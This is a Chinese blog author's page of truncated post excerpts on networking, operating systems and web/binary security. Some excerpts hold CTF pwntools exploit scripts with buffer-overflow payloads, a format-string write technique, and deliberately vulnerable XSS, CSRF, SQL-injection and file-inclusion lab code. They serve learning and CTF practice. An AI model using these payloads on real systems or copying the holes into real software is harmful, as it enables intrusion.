自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(81)
  • 收藏
  • 关注

原创 双向转发检测BFD与网络质量分析NQA

主要用于快速检测、监控网络中链路或者ip路由的转发连通状况,可以跨设备多跳配置。原理:通过在两台网络设备上建立会话,用来实时检测这两个网络设备之间的双向转发路径,并在其路径上周期性发送BFD控制报文,用来检测路径是否可以正常使用。BFD为上层应用服务,BFD本身没有邻居发现机制,而是靠被服务的上层应用通知其邻居信息以建立会话。BFD提供异步检测模式,设备之间相互周期性的发送BFD控制报文,如果某个设备连续几个报文都没有接到,就认为BFD会话的状态是down。

2025-04-14 14:48:29 137

原创 华为路由策略

路由策略是通过影响路由协议进而影响路由表,来控制流量的方向,主要实现了路由过滤和路由属性设置等功能,它通过更改路由属性(包括可达性)来改变网络流量所经过的路径。1、定义规则:定义将要实施路由策略的路由信息的特征,即定义一组匹配规则,可以用路由信息中的不同属性作为匹配依据进行设置,如目的地址、发布路由信息的设备地址等。目的:设备在发布、接收 和引入路由信息时,根据实际组网需要实施一些策略,以便对路由信息进行过滤和改变路由信息的属性。2、应用规则:将匹配规则应用于路由的发布、接受和引入等过程的路由策略中。

2025-04-02 22:29:09 360

原创 华为单臂路由 与 策略路由

概念:如图大纲LSW1是二层交换机不具备三层路由功能,并且连接着不同的vlan,并使每个vlan都可以与外网通信,那么就要用单臂路由技术,原理是将图中的AR1的ge0/0/0接口逻辑上分为多个子接口,分别对应不同的vlan的网关。AR1配置效果:从pc1中tracert 192.168.2.2。

2025-03-27 22:31:24 455

原创 IPv4向IPv6过渡

主要有三种过渡技术。

2025-03-25 20:13:35 1042

原创 华为交换相关

(1)access:只能属于单个VLAN,一般用于连接计算机端口(2)trunk:端口允许多个VLAN通过,可以接收和发送多个VLAN报文,默认情况下只有管理VLAN不携带标签信息(3)Hybrid:华为独有的一个接口类型,允许多个VLAN通过,但与trunk不同的是它可以允许转发多个VLAN时不打标签打上缺省的vlan id,当缺省vlan id在允许通过的列表中,接收该报文。打上缺省vlan id,当缺省vlan id不在允许通过的列表中时,丢弃该报文。

2025-03-24 16:52:51 751

原创 计算机硬件基础

程序计数器pc:指向下一条指令的地址指令寄存器IR:保存当前正在执行的指令地址寄存器AR:用于存放CPU当前访问的内存单元的地址数据寄存器DR:用于暂存从内存储器中读出或写入的指令或数据指令译码器:用于对获取的指令进行译码。

2025-03-23 20:34:49 225

原创 攻防世界pwn高手进阶区 exp

dice_gamefrom pwn import *from ctypes import *lo = remote('220.249.52.133',45069)#lo = process('./dice_game')lib = cdll.LoadLibrary("libc.so.6")lib.srand(1) #定义种子的值为1#for i in range(50):# num = lib.rand()%6 + 1# print numpayload = 'a'*(0x50-0

2020-09-12 19:55:52 794

原创 pwn 程序保护

printf("%d", a) ,参数 a 在堆栈中的是 a 的地址,printf("%d",a)堆栈的结构结合此题的堆栈的数据顺序格式化字符串漏洞:正常情况下printf("%s", a) 是输出a的值,但是如果直接使用 printf(a),虽然也可以输出a的值,但如果a中含有%x等格式化字符时,变会出现泄漏内存的情况我们便在参数区输入 pwnme 的地址,利用%n 来更改其数值。 %n - 到目前为止所写的字符数构造如下的 payloadp32(pwnme_addr) +..

2020-09-12 16:43:51 651

原创 攻防世界pwn新手区 exp

level0from pwn import * r = remote("220.249.52.133", 57278)payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)r.recvuntil("Hello, World\n")r.sendline(payload)r.interactive()CGfsbfrom pwn import *xl = remote('220.249.52.133',43908)pwnname_addr

2020-09-11 21:31:01 640

原创 汇编基础之常用指令,寄存器

寄存器(32位): 通用寄存器(8个):EAX、EBX、ECX、EDX、ESI、EDI、EBP、ESP 其中 ECX 为计数寄存器 其中 ESP 为栈顶指针寄存器 其中 EBP 栈底指针寄存器 其中 ESI、EDI用于movs (把A复制到B) ESI 存放所复制数据的堆栈地址 A的地址 EDI 存放所复制数据的目的堆栈地址 B的地址 CPU下一次执行地址寄存器 EIP 堆栈:是程序所申请使用的内存空间,指令...

2020-09-04 22:24:58 725

原创 xxe漏洞

xxe漏洞,全称xml外部实体注入漏洞,xxe漏洞发生在应用程序解析xml输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害XML 指可扩展标记语言(eXtensible Markup Language),是对html的补充XML 被设计用来传输和存储数据。DTD(文档类型定义)的作用是定义 XML 文档的合...

2020-04-19 16:33:18 288

原创 ssrf漏洞复现(附源码)

SSRF服务器请求伪造,是攻击者构造攻击链给服务器,服务器执行并发送请求造成安全问题的漏洞,一般用于在外网探测、攻击内网服务

2020-04-16 20:46:23 1433

原创 文件包含漏洞复现(附源码)

文件包含是指使用include、require等一些包含文件的函数,所产生的漏洞。分为本地文件包含、远程文件包含本地文件包含:是调用的是服务器本地的文件:如下:远程文件包含:是调用其他服务器的文件:如下:下面开始复现:<!DOCTYPE html><html><head> <title>index.php</ti...

2020-04-15 21:46:24 1430

原创 csrf漏洞复现(附源码)

csrf全称跨站请求伪造,攻击者盗用受害者用户的身份,以受害者的身份发送恶意请求下面进行复现,(本人前端、后端小白,代码有些不规范,大佬们见谅)这里我创建了三个文件login.php是用户的登入页面main.php是商品购买页面sqlcon.php存放操作数据库的各个函数。源码如下:以下代码不只存在csrf漏洞,还存在SQL盲注 有兴趣的可以注一下lo...

2020-04-14 23:11:24 1624

原创 DOM型xss复现(无过滤附源码)

<html> <head> <title> DOM-XSS</title> </head> <body> <script> function shuru(){ var oBox=document.get...

2020-04-12 21:58:13 2114

原创 存储型xss复现(无过滤附源码)

<html><head><script> function setCookie() { document.cookie = 'dsfasdfsad'; //用于测试随便设的 } setCookie()</script></head><body><form action="cunchuxss....

2020-04-12 13:37:40 523

原创 反射型xss漏洞复现(无过滤,附源码)

<html><head><script> function setCookie() { document.cookie = 'dsfasdfsad'; //用于测试随便设的 } setCookie()</script></head><body><form action="xss.php" m...

2020-04-11 20:58:44 951

原创 sql注入之万能密码漏洞复现(附源码)

<html><head><meta charset="utf-8"><title>sql注入靶机</title></head><body><form action="sql.php" method="GET">username:<input type="text" name="u...

2020-04-11 18:45:00 2089

原创 php连接并查询数据库

<html><head><meta charset="utf-8"><title>sql注入靶机</title></head><body><form action="sql.php" method="GET">username:<input type="text" name="u...

2020-04-11 15:16:04 1040

转载 python3之requests

1、requsest的请求所有请求的功能可通过这7种方法访问,他们都返回response对象的一个实例。(1)requests.request(method,url,**kwargs):构造并发送一个request,返回一个response对象参数:method:  request对象的方法(POST) url:  request对象的URL params:可选的,要在查询字符串中...

2020-03-30 13:49:51 734

原创 sprintf函数字符串逃逸漏洞

在php的sprintf函数中 %后的一个字符(除了’%’)会被当作字符类型,像%s(代表字符串)、%b( 代表二进制数)单引号’,斜杠\也也会被当做字符类型。php源码中只对15种类型做了匹配,其他的字符php未做任何处理,直接跳过,所以导致了这个问题:没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, ...

2020-03-25 22:58:26 541

原创 git源码泄露

.git源码泄露

2020-03-13 17:03:24 307

原创 pyhon网络编程使用tcp发送/接收数据

tcp客户端发送/接收数据流程: 1、创建套接字 2、绑定本地端口(客户端也就可以不绑定,不绑定时系统随机开启一个端口) 3、连接服务器地址 4、发送或接收服务器数据 5、关闭套接字tcp发送数据实例:import socket# 定义服务器连接函数def tcpclient_to_sever(tcp_soctet): addr = input...

2019-12-25 16:55:56 545

原创 python网络编程 udp数据接收与发送

udp网络通信流程: 1、创建套接字 2、绑定端口(接收端必须绑定端口(否则每次通信都要向接收端询问端口号),发送端可不绑定端口;当不绑定端口时,操作系统将随机开启一个端口) 3、发送/接收数据 4、关闭套接字使用udp传输协议发送信息import socketdef main(): # 创建udp套接字...

2019-12-20 23:39:30 863

原创 虚拟内存储器

虚拟存储器管理: 实存管理需要将作业一次性全部装入内存,作业的大小收到内存的限制。解决方法有两种: 1、增加主存, 2、逻辑上扩充内存,即虚拟内存。 程序的局部性特性: 时间局部性:指程序中的某条指令一旦被执行,则在较短的时间内,该条指令可能被在执行 空间局部性:指一旦程序访问了某个存储单元,在较短的时间内,其附近的存...

2019-10-14 14:32:48 259

原创 内存储器

存储器主存管理的主要功能: 1、主存的分配和回收 2、地址转换和重定位 3、存储保护和主存共享 4、存储器扩充覆盖:由应用程序覆盖,在内存中将新的程序代码覆盖旧的程序代码 实现:使用函数库(操作系统不知覆盖),或操作系统支持交换:由OS控制,将暂时不用执行的程序放入外存中。虚拟存储的请求调入和预调入,内存的物理组织 1、物理地址:把内存...

2019-10-14 14:32:08 1556

原创 信号量PV

信号量:在多个相互合作的进程之间使用相同的信号来同步,一个进程强制的被停止在一个特定的地方直到收到一个专门的信号,这个信号就是信号量信号量S的初值表示可用资源数:当S>0时,S的值表示还剩可用的资源数;当S<=0时表示已无资源可以分配,其绝对值表示此时在队列中等待分配资源的进程数Wait操作表示申请资源(也就是P操作),Signal操作表示释放资源(也就是V操作),除了初始化外只...

2019-10-14 14:30:08 2555

原创 互斥和同步

互斥和同步: 临界资源:每次只允许一个进程访问的共享资源。 临界段:进程中访问临界资源(共享变量)的代码段;访问同一临界资源的各临界段分散在各有关进程的程序中。 临界段设置原则: 互斥性:每次允许一个进程停留在临界段 有限逗留:进程只能在临界段内逗留有限时间 有限等待:进程不能无限期等待在临界段之外 前进性:临...

2019-10-14 14:28:49 162

原创 作业调度分类、调度算法

作业的调度:分类: 高级调度:就是作业调度,按照某种调度算法从后备作业队列中挑选作业分配主存和外设资源。并建立进程 中级调度:又称中程调度,为了提高内存利用率和系统吞吐量,将暂时不能运行的进程不再占用宝贵的内存资源,将他们调至外存上去等待,也就是挂起 低级调度:又称进程调度,按照某种原则将将处理器分配给就绪进程或线程三级调度:指同时出现以上三种调度方式的调度模型。调度...

2019-10-14 14:25:50 1859

原创 进程、线程相关

进程:进程是动态的,程序是静态的;程序是由序代码的集合;进程是程序的执行。通常进程不可在计算机之间迁移,而程序可以相互复制传递 通过多次执行,一个程序可以对应多个进程;通过调用关系,一个进程可以包括多个程序 进程的性质: 并行性、制约性、动态性、结构性、共享性、独立性 进程是系统中资源分配和保护的基本单位。 进程的状态:运行状态、就绪状态、...

2019-10-14 14:18:12 164

原创 操作系统的体系结构、与程序调用过程

管态:是指操作系统管理程序运行的状态,具有较高的特权级别(又称为特权态)目态:用户程序运行时的状态,较低的特权级别,又称为普通态、用户态。高特权级别对应的可运行指令集包含低特权级别的管态权限:可以执行全部指令(包括特权指令)、可使用所有资源、具有改变处理器状态的权限目态权限:只有非特权指令能执行系统调用过程: 1、当编程人员给定系统调用名和参数之后,由一个类似于硬件中断处...

2019-10-14 14:16:07 418

原创 操作系统的分类

操作系统的分类 批处理(batch processing )就是将作业按照它们的性质分组(或分批),然后再成组(或成批)地提交给计算机系统,由计算机自动完成后再输出结果,从而减少作业建立和结束过程中的时间浪费。根据在内存中允许存放的作业数,批处理系统又分为单道批处理系统和多道批处理系统。在该系统中,用户所提交的作业都先存放在外存上并排成一个队列,成为“后备队列”;然后,由作业调度程序按一定...

2019-10-14 14:13:02 735

原创 eigrp tunnel 联合建网

一个红圆圈是一个mgre距离矢量型路由协议时关闭水平分割,(关自动下一跳(可选))no ip split-horizon eigrp 1no ip next-hop-self eigrp 1使用来下层分支通过公网直接通信ip nhrp shortcut启动nhrp的最短路径查找 (不再做隧道口映射,查目标公网口的映射)ip nhrp redirect 启动nhrp的...

2019-10-14 14:10:07 2591

原创 mpls 实验

R1与R3之间使用ospf,R2与R3之间使用eigrp, R5与R6之间使用ospf,R5与R7之间使用静态,R5与R8之间使用bgp建立ebgp邻居关系R1pingR6R2pingR7R8pingR1、R2R1的路由表R2的路由表R6的路由表R7的路由表R8的路由表R1:interface Loopback0 ip...

2019-10-14 14:09:46 1433

原创 ipsec nat-t 与 vrf 穿越实验

要求:R1做vrf穿 越,R5访问通过R1,R2做,并且R1,R2可以主动的访问R5vrf穿越写两条静态地址映射使 R1,R2可以主动的访问R5R5pingR1、R4R4pingR1、R5R1pingR5、R4R1p vrf k rd 1:1crypto keyring k vrf k pre-shared-key addre...

2019-10-14 14:08:25 703

原创 ipsec 基础实验

R1环回1.1.1.1 R3环回3.3.3.3 R2为公网R1与R2的环回通过ipsec vpn 通信效果R1crypto isakmp policy 10 encr 3des authentication pre-share group 5crypto isakmp key 6 ccie address 23.0.0.1 !!cr...

2019-10-14 14:08:02 669

原创 ospf tunnel 联合建网

R1,R7,R8为公网R10pingR6环回R10tracerouteR6环回R2:crypto isakmp policy 10 encr 3des hash md5 authentication pre-share group 2crypto isakmp key 6 ccie address 0.0.0.0 0.0.0.0crypto ipsec t...

2019-09-03 11:46:49 469

原创 ipsec 详解

目录加密算法对称加密算法非对称加密算法DH算法RSA 公钥+私钥 (成对出现)IPsecIPSec VPN简介ipsec的工作模式IPsec通信协议1、AH协议(Authentication Header,认证报头)2、ESP协议IPSec vpn建立IKEIpsec数据传递图对于ipsec vpn 最重要的是安全安全 三要素 安...

2019-09-01 14:22:59 33924 4

原创 bugku login1(SKCTF)

打开网页后根据题目中的提示,这道题的所使用的是sql约束攻击。以下原理引用于https://www.freebuf.com/articles/web/124537.html首先了解一下SQL约束攻击原理,sql语句中的空格作为字符的结尾时,空格符会被修剪,也就是说'vampire'与'vampire ' 没有什么区别SELECT * FROM users WHER...

2019-08-22 00:26:14 631

原创 并发控制、事务、锁机制

并发控制、事务 事务是用户定义的一个数据库操作序列,这些操作要么全做要么全不做。 程序和事务的区别 事务是恢复和并发控制的基本单位 一个应用程序通常有多个事务组成 定义事务的两种方式 显式方式:事务开始由用户显示控制或DBMS自动隐含,事务结束由用户显示控制 隐式方式:当用户没有显示的定义事务时,由DBMS自动划分事务 事务的ACI...

2019-08-11 14:56:52 356

x64dbg反汇编工具,程序调试器

x64dbg反汇编工具,程序调试器

2023-10-04

谷歌浏览器,谷歌浏览器

谷歌浏览器谷歌浏览器谷歌浏览器谷歌浏览器

2023-10-04

float、double类型小数转换16进制

float、double类型转换16进制工具

2023-10-02

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除